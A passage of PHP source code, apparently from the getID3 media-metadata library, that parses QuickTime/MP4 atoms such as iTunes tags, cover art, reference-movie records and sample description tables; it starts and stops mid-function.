			$atom_structure['subatoms'] = $this->QuicktimeParseContainerAtom($atom_data, $baseoffset + 8, $atomHierarchy, $ParseAllPossibleAtoms);
		} else {
			switch ($atomname) {
				case 'moov': // MOVie container atom
				case 'moof': // MOvie Fragment box
				case 'trak': // TRAcK container atom
				case 'traf': // TRAck Fragment box
				case 'clip': // CLIPping container atom
				case 'matt': // track MATTe container atom
				case 'edts': // EDiTS container atom
				case 'tref': // Track REFerence container atom
				case 'mdia': // MeDIA container atom
				case 'minf': // Media INFormation container atom
				case 'dinf': // Data INFormation container atom
				case 'nmhd': // Null Media HeaDer container atom
				case 'udta': // User DaTA container atom
				case 'cmov': // Compressed MOVie container atom
				case 'rmra': // Reference Movie Record Atom
				case 'rmda': // Reference Movie Descriptor Atom
				case 'gmhd': // Generic Media info HeaDer atom (seen on QTVR)
					$atom_structure['subatoms'] = $this->QuicktimeParseContainerAtom($atom_data, $baseoffset + 8, $atomHierarchy, $ParseAllPossibleAtoms);
					break;

				case 'ilst': // Item LiST container atom
					if ($atom_structure['subatoms'] = $this->QuicktimeParseContainerAtom($atom_data, $baseoffset + 8, $atomHierarchy, $ParseAllPossibleAtoms)) {
						// some "ilst" atoms contain data atoms that have a numeric name, and the data is far more accessible if the returned array is compacted
						$allnumericnames = true;
						foreach ($atom_structure['subatoms'] as $subatomarray) {
							if (!is_integer($subatomarray['name']) || (count($subatomarray['subatoms']) != 1)) {
								$allnumericnames = false;
								break;
							}
						}
						if ($allnumericnames) {
							$newData = array();
							foreach ($atom_structure['subatoms'] as $subatomarray) {
								foreach ($subatomarray['subatoms'] as $newData_subatomarray) {
									unset($newData_subatomarray['hierarchy'], $newData_subatomarray['name']);
									$newData[$subatomarray['name']] = $newData_subatomarray;
									break;
								}
							}
							$atom_structure['data'] = $newData;
							unset($atom_structure['subatoms']);
						}
					}
					break;

				case 'stbl': // Sample TaBLe container atom
					$atom_structure['subatoms'] = $this->QuicktimeParseContainerAtom($atom_data, $baseoffset + 8, $atomHierarchy, $ParseAllPossibleAtoms);
					$isVideo = false;
					$framerate  = 0;
					$framecount = 0;
					foreach ($atom_structure['subatoms'] as $key => $value_array) {
						if (isset($value_array['sample_description_table'])) {
							foreach ($value_array['sample_description_table'] as $key2 => $value_array2) {
								if (isset($value_array2['data_format'])) {
									switch ($value_array2['data_format']) {
										case 'avc1':
										case 'mp4v':
											// video data
											$isVideo = true;
											break;
										case 'mp4a':
											// audio data
											break;
									}
								}
							}
						} elseif (isset($value_array['time_to_sample_table'])) {
							foreach ($value_array['time_to_sample_table'] as $key2 => $value_array2) {
								if (isset($value_array2['sample_count']) && isset($value_array2['sample_duration']) && ($value_array2['sample_duration'] > 0) && !empty($info['quicktime']['time_scale'])) {
									$framerate  = round($info['quicktime']['time_scale'] / $value_array2['sample_duration'], 3);
									$framecount = $value_array2['sample_count'];
								}
							}
						}
					}
					if ($isVideo && $framerate) {
						$info['quicktime']['video']['frame_rate'] = $framerate;
						$info['video']['frame_rate'] = $info['quicktime']['video']['frame_rate'];
					}
					if ($isVideo && $framecount) {
						$info['quicktime']['video']['frame_count'] = $framecount;
					}
					break;


				case "\xA9".'alb': // ALBum
				case "\xA9".'ART': //
				case "\xA9".'art': // ARTist
				case "\xA9".'aut': //
				case "\xA9".'cmt': // CoMmenT
				case "\xA9".'com': // COMposer
				case "\xA9".'cpy': //
				case "\xA9".'day': // content created year
				case "\xA9".'dir': //
				case "\xA9".'ed1': //
				case "\xA9".'ed2': //
				case "\xA9".'ed3': //
				case "\xA9".'ed4': //
				case "\xA9".'ed5': //
				case "\xA9".'ed6': //
				case "\xA9".'ed7': //
				case "\xA9".'ed8': //
				case "\xA9".'ed9': //
				case "\xA9".'enc': //
				case "\xA9".'fmt': //
				case "\xA9".'gen': // GENre
				case "\xA9".'grp': // GRouPing
				case "\xA9".'hst': //
				case "\xA9".'inf': //
				case "\xA9".'lyr': // LYRics
				case "\xA9".'mak': //
				case "\xA9".'mod': //
				case "\xA9".'nam': // full NAMe
				case "\xA9".'ope': //
				case "\xA9".'PRD': //
				case "\xA9".'prf': //
				case "\xA9".'req': //
				case "\xA9".'src': //
				case "\xA9".'swr': //
				case "\xA9".'too': // encoder
				case "\xA9".'trk': // TRacK
				case "\xA9".'url': //
				case "\xA9".'wrn': //
				case "\xA9".'wrt': // WRiTer
				case '----': // itunes specific
				case 'aART': // Album ARTist
				case 'akID': // iTunes store account type
				case 'apID': // Purchase Account
				case 'atID': //
				case 'catg': // CaTeGory
				case 'cmID': //
				case 'cnID': //
				case 'covr': // COVeR artwork
				case 'cpil': // ComPILation
				case 'cprt': // CoPyRighT
				case 'desc': // DESCription
				case 'disk': // DISK number
				case 'egid': // Episode Global ID
				case 'geID': //
				case 'gnre': // GeNRE
				case 'hdvd': // HD ViDeo
				case 'keyw': // KEYWord
				case 'ldes': // Long DEScription
				case 'pcst': // PodCaST
				case 'pgap': // GAPless Playback
				case 'plID': //
				case 'purd': // PURchase Date
				case 'purl': // Podcast URL
				case 'rati': //
				case 'rndu': //
				case 'rpdu': //
				case 'rtng': // RaTiNG
				case 'sfID': // iTunes store country
				case 'soaa': // SOrt Album Artist
				case 'soal': // SOrt ALbum
				case 'soar': // SOrt ARtist
				case 'soco': // SOrt COmposer
				case 'sonm': // SOrt NaMe
				case 'sosn': // SOrt Show Name
				case 'stik': //
				case 'tmpo': // TeMPO (BPM)
				case 'trkn': // TRacK Number
				case 'tven': // tvEpisodeID
				case 'tves': // TV EpiSode
				case 'tvnn': // TV Network Name
				case 'tvsh': // TV SHow Name
				case 'tvsn': // TV SeasoN
					if ($atom_parent == 'udta') {
						// User data atom handler
						$atom_structure['data_length'] = getid3_lib::BigEndian2Int(substr($atom_data, 0, 2));
						$atom_structure['language_id'] = getid3_lib::BigEndian2Int(substr($atom_data, 2, 2));
						$atom_structure['data']        =                           substr($atom_data, 4);

						$atom_structure['language']    = $this->QuicktimeLanguageLookup($atom_structure['language_id']);
						if (empty($info['comments']['language']) || (!in_array($atom_structure['language'], $info['comments']['language']))) {
							$info['comments']['language'][] = $atom_structure['language'];
						}
					} else {
						// Apple item list box atom handler
						$atomoffset = 0;
						if (substr($atom_data, 2, 2) == "\x10\xB5") {
							// not sure what it means, but observed on iPhone4 data.
							// Each $atom_data has 2 bytes of datasize, plus 0x10B5, then data
							while ($atomoffset < strlen($atom_data)) {
								$boxsmallsize = getid3_lib::BigEndian2Int(substr($atom_data, $atomoffset,     2));
								$boxsmalltype =                           substr($atom_data, $atomoffset + 2, 2);
								$boxsmalldata =                           substr($atom_data, $atomoffset + 4, $boxsmallsize);
								if ($boxsmallsize <= 1) {
									$this->warning('Invalid QuickTime atom smallbox size "'.$boxsmallsize.'" in atom "'.preg_replace('#[^a-zA-Z0-9 _\\-]#', '?', $atomname).'" at offset: '.($atom_structure['offset'] + $atomoffset));
									$atom_structure['data'] = null;
									$atomoffset = strlen($atom_data);
									break;
								}
								switch ($boxsmalltype) {
									case "\x10\xB5":
										$atom_structure['data'] = $boxsmalldata;
										break;
									default:
										$this->warning('Unknown QuickTime smallbox type: "'.preg_replace('#[^a-zA-Z0-9 _\\-]#', '?', $boxsmalltype).'" ('.trim(getid3_lib::PrintHexBytes($boxsmalltype)).') at offset '.$baseoffset);
										$atom_structure['data'] = $atom_data;
										break;
								}
								$atomoffset += (4 + $boxsmallsize);
							}
						} else {
							while ($atomoffset < strlen($atom_data)) {
								$boxsize = getid3_lib::BigEndian2Int(substr($atom_data, $atomoffset, 4));
								$boxtype =                           substr($atom_data, $atomoffset + 4, 4);
								$boxdata =                           substr($atom_data, $atomoffset + 8, $boxsize - 8);
								if ($boxsize <= 1) {
									$this->warning('Invalid QuickTime atom box size "'.$boxsize.'" in atom "'.preg_replace('#[^a-zA-Z0-9 _\\-]#', '?', $atomname).'" at offset: '.($atom_structure['offset'] + $atomoffset));
									$atom_structure['data'] = null;
									$atomoffset = strlen($atom_data);
									break;
								}
								$atomoffset += $boxsize;

								switch ($boxtype) {
									case 'mean':
									case 'name':
										$atom_structure[$boxtype] = substr($boxdata, 4);
										break;

									case 'data':
										$atom_structure['version']   = getid3_lib::BigEndian2Int(substr($boxdata,  0, 1));
										$atom_structure['flags_raw'] = getid3_lib::BigEndian2Int(substr($boxdata,  1, 3));
										switch ($atom_structure['flags_raw']) {
											case  0: // data flag
											case 21: // tmpo/cpil flag
												switch ($atomname) {
													case 'cpil':
													case 'hdvd':
													case 'pcst':
													case 'pgap':
														// 8-bit integer (boolean)
														$atom_structure['data'] = getid3_lib::BigEndian2Int(substr($boxdata, 8, 1));
														break;

													case 'tmpo':
														// 16-bit integer
														$atom_structure['data'] = getid3_lib::BigEndian2Int(substr($boxdata, 8, 2));
														break;

													case 'disk':
													case 'trkn':
														// binary
														$num       = getid3_lib::BigEndian2Int(substr($boxdata, 10, 2));
														$num_total = getid3_lib::BigEndian2Int(substr($boxdata, 12, 2));
														$atom_structure['data']  = empty($num) ? '' : $num;
														$atom_structure['data'] .= empty($num_total) ? '' : '/'.$num_total;
														break;

													case 'gnre':
														// enum
														$GenreID = getid3_lib::BigEndian2Int(substr($boxdata, 8, 4));
														$atom_structure['data']    = getid3_id3v1::LookupGenreName($GenreID - 1);
														break;

													case 'rtng':
														// 8-bit integer
														$atom_structure[$atomname] = getid3_lib::BigEndian2Int(substr($boxdata, 8, 1));
														$atom_structure['data']    = $this->QuicktimeContentRatingLookup($atom_structure[$atomname]);
														break;

													case 'stik':
														// 8-bit integer (enum)
														$atom_structure[$atomname] = getid3_lib::BigEndian2Int(substr($boxdata, 8, 1));
														$atom_structure['data']    = $this->QuicktimeSTIKLookup($atom_structure[$atomname]);
														break;

													case 'sfID':
														// 32-bit integer
														$atom_structure[$atomname] = getid3_lib::BigEndian2Int(substr($boxdata, 8, 4));
														$atom_structure['data']    = $this->QuicktimeStoreFrontCodeLookup($atom_structure[$atomname]);
														break;

													case 'egid':
													case 'purl':
														$atom_structure['data'] = substr($boxdata, 8);
														break;

													case 'plID':
														// 64-bit integer
														$atom_structure['data'] = getid3_lib::BigEndian2Int(substr($boxdata, 8, 8));
														break;

													case 'covr':
														$atom_structure['data'] = substr($boxdata, 8);
														// not a foolproof check, but better than nothing
														if (preg_match('#^\\xFF\\xD8\\xFF#', $atom_structure['data'])) {
															$atom_structure['image_mime'] = 'image/jpeg';
														} elseif (preg_match('#^\\x89\\x50\\x4E\\x47\\x0D\\x0A\\x1A\\x0A#', $atom_structure['data'])) {
															$atom_structure['image_mime'] = 'image/png';
														} elseif (preg_match('#^GIF#', $atom_structure['data'])) {
															$atom_structure['image_mime'] = 'image/gif';
														}
														$info['quicktime']['comments']['picture'][] = array('image_mime'=>$atom_structure['image_mime'], 'data'=>$atom_structure['data'], 'description'=>'cover');
														break;

													case 'atID':
													case 'cnID':
													case 'geID':
													case 'tves':
													case 'tvsn':
													default:
														// 32-bit integer
														$atom_structure['data'] = getid3_lib::BigEndian2Int(substr($boxdata, 8, 4));
												}
												break;

											case  1: // text flag
											case 13: // image flag
											default:
												$atom_structure['data'] = substr($boxdata, 8);
												if ($atomname == 'covr') {
													if (!empty($atom_structure['data'])) {
														$atom_structure['image_mime'] = 'image/unknown'; // provide default MIME type to ensure array keys exist
														if (function_exists('getimagesizefromstring') && ($getimagesize = getimagesizefromstring($atom_structure['data'])) && !empty($getimagesize['mime'])) {
															$atom_structure['image_mime'] = $getimagesize['mime'];
														} else {
															// if getimagesizefromstring is not available, or fails for some reason, fall back to simple detection of common image formats
															$ImageFormatSignatures = array(
																'image/jpeg' => "\xFF\xD8\xFF",
																'image/png'  => "\x89\x50\x4E\x47\x0D\x0A\x1A\x0A",
																'image/gif'  => 'GIF',
															);
															foreach ($ImageFormatSignatures as $mime => $image_format_signature) {
																if (substr($atom_structure['data'], 0, strlen($image_format_signature)) == $image_format_signature) {
																	$atom_structure['image_mime'] = $mime;
																	break;
																}
															}
														}
														$info['quicktime']['comments']['picture'][] = array('image_mime'=>$atom_structure['image_mime'], 'data'=>$atom_structure['data'], 'description'=>'cover');
													} else {
														$this->warning('Unknown empty "covr" image at offset '.$baseoffset);
													}
												}
												break;

										}
										break;

									default:
										$this->warning('Unknown QuickTime box type: "'.preg_replace('#[^a-zA-Z0-9 _\\-]#', '?', $boxtype).'" ('.trim(getid3_lib::PrintHexBytes($boxtype)).') at offset '.$baseoffset);
										$atom_structure['data'] = $atom_data;

								}
							}
						}
					}
					$this->CopyToAppropriateCommentsSection($atomname, $atom_structure['data'], $atom_structure['name']);
					break;


				case 'play': // auto-PLAY atom
					$atom_structure['autoplay'] = (bool) getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));

					$info['quicktime']['autoplay'] = $atom_structure['autoplay'];
					break;


				case 'WLOC': // Window LOCation atom
					$atom_structure['location_x']  = getid3_lib::BigEndian2Int(substr($atom_data,  0, 2));
					$atom_structure['location_y']  = getid3_lib::BigEndian2Int(substr($atom_data,  2, 2));
					break;


				case 'LOOP': // LOOPing atom
				case 'SelO': // play SELection Only atom
				case 'AllF': // play ALL Frames atom
					$atom_structure['data'] = getid3_lib::BigEndian2Int($atom_data);
					break;


				case 'name': //
				case 'MCPS': // Media Cleaner PRo
				case '@PRM': // adobe PReMiere version
				case '@PRQ': // adobe PRemiere Quicktime version
					$atom_structure['data'] = $atom_data;
					break;


				case 'cmvd': // Compressed MooV Data atom
					// Code by ubergeekØubergeek*tv based on information from
					// http://developer.apple.com/quicktime/icefloe/dispatch012.html
					$atom_structure['unCompressedSize'] = getid3_lib::BigEndian2Int(substr($atom_data, 0, 4));

					$CompressedFileData = substr($atom_data, 4);
					if ($UncompressedHeader = @gzuncompress($CompressedFileData)) {
						$atom_structure['subatoms'] = $this->QuicktimeParseContainerAtom($UncompressedHeader, 0, $atomHierarchy, $ParseAllPossibleAtoms);
					} else {
						$this->warning('Error decompressing compressed MOV atom at offset '.$atom_structure['offset']);
					}
					break;


				case 'dcom': // Data COMpression atom
					$atom_structure['compression_id']   = $atom_data;
					$atom_structure['compression_text'] = $this->QuicktimeDCOMLookup($atom_data);
					break;


				case 'rdrf': // Reference movie Data ReFerence atom
					$atom_structure['version']                = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
					$atom_structure['flags_raw']              = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3));
					$atom_structure['flags']['internal_data'] = (bool) ($atom_structure['flags_raw'] & 0x000001);

					$atom_structure['reference_type_name']    =                           substr($atom_data,  4, 4);
					$atom_structure['reference_length']       = getid3_lib::BigEndian2Int(substr($atom_data,  8, 4));
					switch ($atom_structure['reference_type_name']) {
						case 'url ':
							$atom_structure['url']            =       $this->NoNullString(substr($atom_data, 12));
							break;

						case 'alis':
							$atom_structure['file_alias']     =                           substr($atom_data, 12);
							break;

						case 'rsrc':
							$atom_structure['resource_alias'] =                           substr($atom_data, 12);
							break;

						default:
							$atom_structure['data']           =                           substr($atom_data, 12);
							break;
					}
					break;


				case 'rmqu': // Reference Movie QUality atom
					$atom_structure['movie_quality'] = getid3_lib::BigEndian2Int($atom_data);
					break;


				case 'rmcs': // Reference Movie Cpu Speed atom
					$atom_structure['version']          = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
					$atom_structure['flags_raw']        = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
					$atom_structure['cpu_speed_rating'] = getid3_lib::BigEndian2Int(substr($atom_data,  4, 2));
					break;


				case 'rmvc': // Reference Movie Version Check atom
					$atom_structure['version']            = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
					$atom_structure['flags_raw']          = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
					$atom_structure['gestalt_selector']   =                           substr($atom_data,  4, 4);
					$atom_structure['gestalt_value_mask'] = getid3_lib::BigEndian2Int(substr($atom_data,  8, 4));
					$atom_structure['gestalt_value']      = getid3_lib::BigEndian2Int(substr($atom_data, 12, 4));
					$atom_structure['gestalt_check_type'] = getid3_lib::BigEndian2Int(substr($atom_data, 14, 2));
					break;


				case 'rmcd': // Reference Movie Component check atom
					$atom_structure['version']                = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
					$atom_structure['flags_raw']              = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
					$atom_structure['component_type']         =                           substr($atom_data,  4, 4);
					$atom_structure['component_subtype']      =                           substr($atom_data,  8, 4);
					$atom_structure['component_manufacturer'] =                           substr($atom_data, 12, 4);
					$atom_structure['component_flags_raw']    = getid3_lib::BigEndian2Int(substr($atom_data, 16, 4));
					$atom_structure['component_flags_mask']   = getid3_lib::BigEndian2Int(substr($atom_data, 20, 4));
					$atom_structure['component_min_version']  = getid3_lib::BigEndian2Int(substr($atom_data, 24, 4));
					break;


				case 'rmdr': // Reference Movie Data Rate atom
					$atom_structure['version']       = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
					$atom_structure['flags_raw']     = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
					$atom_structure['data_rate']     = getid3_lib::BigEndian2Int(substr($atom_data,  4, 4));

					$atom_structure['data_rate_bps'] = $atom_structure['data_rate'] * 10;
					break;


				case 'rmla': // Reference Movie Language Atom
					$atom_structure['version']     = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
					$atom_structure['flags_raw']   = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
					$atom_structure['language_id'] = getid3_lib::BigEndian2Int(substr($atom_data,  4, 2));

					$atom_structure['language']    = $this->QuicktimeLanguageLookup($atom_structure['language_id']);
					if (empty($info['comments']['language']) || (!in_array($atom_structure['language'], $info['comments']['language']))) {
						$info['comments']['language'][] = $atom_structure['language'];
					}
					break;


				case 'ptv ': // Print To Video - defines a movie's full screen mode
					// http://developer.apple.com/documentation/QuickTime/APIREF/SOURCESIV/at_ptv-_pg.htm
					$atom_structure['display_size_raw']  = getid3_lib::BigEndian2Int(substr($atom_data, 0, 2));
					$atom_structure['reserved_1']        = getid3_lib::BigEndian2Int(substr($atom_data, 2, 2)); // hardcoded: 0x0000
					$atom_structure['reserved_2']        = getid3_lib::BigEndian2Int(substr($atom_data, 4, 2)); // hardcoded: 0x0000
					$atom_structure['slide_show_flag']   = getid3_lib::BigEndian2Int(substr($atom_data, 6, 1));
					$atom_structure['play_on_open_flag'] = getid3_lib::BigEndian2Int(substr($atom_data, 7, 1));

					$atom_structure['flags']['play_on_open'] = (bool) $atom_structure['play_on_open_flag'];
					$atom_structure['flags']['slide_show']   = (bool) $atom_structure['slide_show_flag'];

					$ptv_lookup = array(
						0 => 'normal',
						1 => 'double',
						2 => 'half',
						3 => 'full',
						4 => 'current'
					);
					if (isset($ptv_lookup[$atom_structure['display_size_raw']])) {
						$atom_structure['display_size'] = $ptv_lookup[$atom_structure['display_size_raw']];
					} else {
						$this->warning('unknown "ptv " display constant ('.$atom_structure['display_size_raw'].')');
					}
					break;


				case 'stsd': // Sample Table Sample Description atom
					$atom_structure['version']        = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1)); // hardcoded: 0x00
					$atom_structure['flags_raw']      = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x000000
					$atom_structure['number_entries'] = getid3_lib::BigEndian2Int(substr($atom_data,  4, 4));

					// see: https://github.com/JamesHeinrich/getID3/issues/111
					// Some corrupt files have been known to have high bits set in the number_entries field
					// This field shouldn't really need to be 32-bits, values stores are likely in the range 1-100000
					// Workaround: mask off the upper byte and throw a warning if it's nonzero
					if ($atom_structure['number_entries'] > 0x000FFFFF) {
						if ($atom_structure['number_entries'] > 0x00FFFFFF) {
							$this->warning('"stsd" atom contains improbably large number_entries (0x'.getid3_lib::PrintHexBytes(substr($atom_data, 4, 4), true, false).' = '.$atom_structure['number_entries'].'), probably in error. Ignoring upper byte and interpreting this as 0x'.getid3_lib::PrintHexBytes(substr($atom_data, 5, 3), true, false).' = '.($atom_structure['number_entries'] & 0x00FFFFFF));
							$atom_structure['number_entries'] = ($atom_structure['number_entries'] & 0x00FFFFFF);
						} else {
							$this->warning('"stsd" atom contains improbably large number_entries (0x'.getid3_lib::PrintHexBytes(substr($atom_data, 4, 4), true, false).' = '.$atom_structure['number_entries'].'), probably in error. Please report this to info@getid3.org referencing bug report #111');
						}
					}

					$stsdEntriesDataOffset = 8;
					for ($i = 0; $i < $atom_structure['number_entries']; $i++) {
						$atom_structure['sample_description_table'][$i]['size']             = getid3_lib::BigEndian2Int(substr($atom_data, $stsdEntriesDataOffset, 4));
						$stsdEntriesDataOffset += 4;
						$atom_structure['sample_description_table'][$i]['data_format']      =                           substr($atom_data, $stsdEntriesDataOffset, 4);
						$stsdEntriesDataOffset += 4;
						$atom_structure['sample_description_table'][$i]['reserved']         = getid3_lib::BigEndian2Int(substr($atom_data, $stsdEntriesDataOffset, 6));
						$stsdEntriesDataOffset += 6;
						$atom_structure['sample_description_table'][$i]['reference_index']  = getid3_lib::BigEndian2Int(substr($atom_data, $stsdEntriesDataOffset, 2));
						$stsdEntriesDataOffset += 2;
						$atom_structure['sample_description_table'][$i]['data']             =                           substr($atom_data, $stsdEntriesDataOffset, ($atom_structure['sample_description_table'][$i]['size'] - 4 - 4 - 6 - 2));
						$stsdEntriesDataOffset += ($atom_structure['sample_description_table'][$i]['size'] - 4 - 4 - 6 - 2);
						if (substr($atom_structure['sample_description_table'][$i]['data'],  1, 54) == 'application/octet-stream;type=com.parrot.videometadata') {
							// special handling for apparently-malformed (TextMetaDataSampleEntry?) data for some version of Parrot drones
							$atom_structure['sample_description_table'][$i]['parrot_frame_metadata']['mime_type']        =       substr($atom_structure['sample_description_table'][$i]['data'],  1, 55);
							$atom_structure['sample_description_table'][$i]['parrot_frame_metadata']['metadata_version'] = (int) substr($atom_structure['sample_description_table'][$i]['data'], 55,  1);
							unset($atom_structure['sample_description_table'][$i]['data']);
$this->warning('incomplete/incorrect handling of "stsd" with Parrot metadata in this version of getID3() ['.$this->getid3->version().']');
							continue;
						}

						$atom_structure['sample_description_table'][$i]['encoder_version']  = getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'],  0, 2));
						$atom_structure['sample_description_table'][$i]['encoder_revision'] = getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'],  2, 2));
						$atom_structure['sample_description_table'][$i]['encoder_vendor']   =                           substr($atom_structure['sample_description_table'][$i]['data'],  4, 4);

						switch ($atom_structure['sample_description_table'][$i]['encoder_vendor']) {

							case "\x00\x00\x00\x00":
								// audio tracks
								$atom_structure['sample_description_table'][$i]['audio_channels']       =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'],  8,  2));
								$atom_structure['sample_description_table'][$i]['audio_bit_depth']      =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 10,  2));
								$atom_structure['sample_description_table'][$i]['audio_compression_id'] =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 12,  2));
								$atom_structure['sample_description_table'][$i]['audio_packet_size']    =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 14,  2));
								$atom_structure['sample_description_table'][$i]['audio_sample_rate']    = getid3_lib::FixedPoint16_16(substr($atom_structure['sample_description_table'][$i]['data'], 16,  4));

								// video tracks
								// http://developer.apple.com/library/mac/#documentation/QuickTime/QTFF/QTFFChap3/qtff3.html
								$atom_structure['sample_description_table'][$i]['temporal_quality'] =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'],  8,  4));
								$atom_structure['sample_description_table'][$i]['spatial_quality']  =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 12,  4));
								$atom_structure['sample_description_table'][$i]['width']            =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 16,  2));
								$atom_structure['sample_description_table'][$i]['height']           =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 18,  2));
								$atom_structure['sample_description_table'][$i]['resolution_x']     = getid3_lib::FixedPoint16_16(substr($atom_structure['sample_description_table'][$i]['data'], 24,  4));
								$atom_structure['sample_description_table'][$i]['resolution_y']     = getid3_lib::FixedPoint16_16(substr($atom_structure['sample_description_table'][$i]['data'], 28,  4));
								$atom_structure['sample_description_table'][$i]['data_size']        =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 32,  4));
								$atom_structure['sample_description_table'][$i]['frame_count']      =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 36,  2));
								$atom_structure['sample_description_table'][$i]['compressor_name']  =                             substr($atom_structure['sample_description_table'][$i]['data'], 38,  4);
								$atom_structure['sample_description_table'][$i]['pixel_depth']      =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 42,  2));
								$atom_structure['sample_description_table'][$i]['color_table_id']   =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 44,  2));

								switch ($atom_structure['sample_description_table'][$i]['data_format']) {
									case '2vuY':
									case 'avc1':
									case 'cvid':
									case 'dvc ':
									case 'dvcp':
									case 'gif ':
									case 'h263':
									case 'hvc1':
									case 'jpeg':
									case 'kpcd':
									case 'mjpa':
									case 'mjpb':
									case 'mp4v':
									case 'png ':
									case 'raw ':
									case 'rle ':
									case 'rpza':
									case 'smc ':
									case 'SVQ1':
									case 'SVQ3':
									case 'tiff':
									case 'v210':
									case 'v216':
									case 'v308':
									case 'v408':
									case 'v410':
									case 'yuv2':
										$info['fileformat'] = 'mp4';
										$info['video']['fourcc'] = $atom_structure['sample_description_table'][$i]['data_format'];
										if ($this->QuicktimeVideoCodecLookup($info['video']['fourcc'])) {
											$info['video']['fourcc_lookup'] = $this->QuicktimeVideoCodecLookup($info['video']['fourcc']);
										}

										// https://www.getid3.org/phpBB3/viewtopic.php?t=1550
										//if ((!empty($atom_structure['sample_description_table'][$i]['width']) && !empty($atom_structure['sample_description_table'][$i]['width'])) && (empty($info['video']['resolution_x']) || empty($info['video']['resolution_y']) || (number_format($info['video']['resolution_x'], 6) != number_format(round($info['video']['resolution_x']), 6)) || (number_format($info['video']['resolution_y'], 6) != number_format(round($info['video']['resolution_y']), 6)))) { // ugly check for floating point numbers
										if (!empty($atom_structure['sample_description_table'][$i]['width']) && !empty($atom_structure['sample_description_table'][$i]['height'])) {
											// assume that values stored here are more important than values stored in [tkhd] atom
											$info['video']['resolution_x'] = $atom_structure['sample_description_table'][$i]['width'];
											$info['video']['resolution_y'] = $atom_structure['sample_description_table'][$i]['height'];
											$info['quicktime']['video']['resolution_x'] = $info['video']['resolution_x'];
											$info['quicktime']['video']['resolution_y'] = $info['video']['resolution_y'];
										}
										break;

									case 'qtvr':
										$info['video']['dataformat'] = 'quicktimevr';
										break;

									case 'mp4a':
										$atom_structure['sample_description_table'][$i]['subatoms'] = $this->QuicktimeParseContainerAtom(substr($atom_structure['sample_description_table'][$i]['data'], 20), $baseoffset + $stsdEntriesDataOffset - 20 - 16, $atomHierarchy, $ParseAllPossibleAtoms);

										$info['quicktime']['audio']['codec']       = $this->QuicktimeAudioCodecLookup($atom_structure['sample_description_table'][$i]['data_format']);
										$info['quicktime']['audio']['sample_rate'] = $atom_structure['sample_description_table'][$i]['audio_sample_rate'];
										$info['quicktime']['audio']['channels']    = $atom_structure['sample_description_table'][$i]['audio_channels'];
										$info['quicktime']['audio']['bit_depth']   = $atom_structure['sample_description_table'][$i]['audio_bit_depth'];
										$info['audio']['codec']                    = $info['quicktime']['audio']['codec'];
										$info['audio']['sample_rate']              = $info['quicktime']['audio']['sample_rate'];
										$info['audio']['channels']                 = $info['quicktime']['audio']['channels'];
										$info['audio']['bits_per_sample']          = $info['quicktime']['audio']['bit_depth'];
										switch ($atom_structure['sample_description_table'][$i]['data_format']) {
											case 'raw ': // PCM
											case 'alac': // Apple Lossless Audio Codec
											case 'sowt': // signed/two's complement (Little Endian)
											case 'twos': // signed/two's complement (Big Endian)
											case 'in24': // 24-bit Integer
											case 'in32': // 32-bit Integer
											case 'fl32': // 32-bit Floating Point
											case 'fl64': // 64-bit Floating Point
												$info['audio']['lossless'] = $info['quicktime']['audio']['lossless'] = true;
												$info['audio']['bitrate']  = $info['quicktime']['audio']['bitrate']  = $info['audio']['channels'] * $info['audio']['bits_per_sample'] * $info['audio']['sample_rate'];
												break;
											default:
												$info['audio']['lossless'] = false;
												break;
										}
										break;

									default:
										break;
								}
								break;

							default:
								switch ($atom_structure['sample_description_table'][$i]['data_format']) {
									case 'mp4s':
										$info['fileformat'] = 'mp4';
										break;

									default:
										// video atom
										$atom_structure['sample_description_table'][$i]['video_temporal_quality']  =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'],  8,  4));
										$atom_structure['sample_description_table'][$i]['video_spatial_quality']   =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 12,  4));
										$atom_structure['sample_description_table'][$i]['video_frame_width']       =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 16,  2));
										$atom_structure['sample_description_table'][$i]['video_frame_height']      =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 18,  2));
										$atom_structure['sample_description_table'][$i]['video_resolution_x']      = getid3_lib::FixedPoint16_16(substr($atom_structure['sample_description_table'][$i]['data'], 20,  4));
										$atom_structure['sample_description_table'][$i]['video_resolution_y']      = getid3_lib::FixedPoint16_16(substr($atom_structure['sample_description_table'][$i]['data'], 24,  4));
